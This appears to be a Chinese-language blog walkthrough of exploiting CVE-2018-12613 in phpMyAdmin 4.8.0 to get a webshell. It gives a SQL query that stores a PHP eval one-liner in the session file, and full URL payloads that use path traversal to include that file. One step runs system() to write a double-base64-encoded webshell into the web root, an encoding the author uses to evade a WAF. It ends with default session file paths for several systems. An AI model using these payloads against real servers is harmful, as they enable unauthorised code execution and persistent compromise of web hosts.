特殊型版本 phpMyadmin Getshell (CVE-2018-12613)
作者 : Noth
前言 :
上一篇和各位小夥伴分享的是 phpMyadmin 常規方式拿shell,這一篇比較不太一樣 xD 最主要是利用 LFI to RCE(CVE-2018-12613) 的方式進行 Getshell ,讓筆者直接實戰一次給各位小夥伴看 !
實作環境 :
Ububtu(Google GCP) + Xampp + phpmyadmin 4.8.0
實戰流程 :
利用 seesion 文件創建 shell
執行 SQL 語句 (此時查詢的一句話會保留 Session 中) :
SELECT "<?php @eval($_GET['noth']);?>"
Server 端的 Session 中的確保留我們所查詢的一句話 :
成功執行 phpinfo :
http://xx.xx.xx.xx/phpmyadmin/index.php?noth=phpinfo();&target=db_datadict.php%253f/../../../../../../../../opt/lampp/temp/sess_{session}
透過 phpinfo.php 知道網頁絕對路徑,寫一句話到根目錄底下 :
http://xx.xx.xx.xx/phpmyadmin/index.php?noth=system('echo UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkdWIzUm9KMTBwT3o4Kw== | base64 -d | base64 -d > /opt/lampp/htdocs/noth.php');&target=db_sql.php%3f/../../../../../../../../opt/lampp/temp/sess_{Session}
當然在這邊各位小夥伴們一定會有點萌逼 xD
UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkdWIzUm9KMTBwT3o4Kw==
這到底是在寫甚麼,不急 xD 這是我直接 base64encode 兩次的結果,因為筆者有嘗試過直接寫一句話不加密的話,可能 Server 端有 Waf 會進行流量檢測,導致寫不進去到根目錄下,然後 base64decode 兩次輸出到根目錄下 ! 於是成功 :D 其實還有很重要的一點是利用 php 危險函式 system() 這個 function ! 之後直接拿個蟻劍接 Webshell
成功連接 :
這邊有點小小的陷阱,每個系統存放的 Session 位置都不一樣,所以要先去判斷 Session 的位置,這邊有我在網路上查到的一些系統默認路徑 :
MacOS:
/var/tmp
Windows :
tmp/sess_{id}
Linux :
/var/lib/php/sessions/sess_{id}
/tmp/sess_{id}
phpStudy :
/phpstudy/PHPTutorial/tmp/tmp
Reference :
https://www.cnblogs.com/wjrblogs/p/13453359.html
https://zeroday.hitcon.org/vulnerability/ZD-2018-01485
https://blog.csdn.net/qq_34444097/article/details/85264686
留言
張貼留言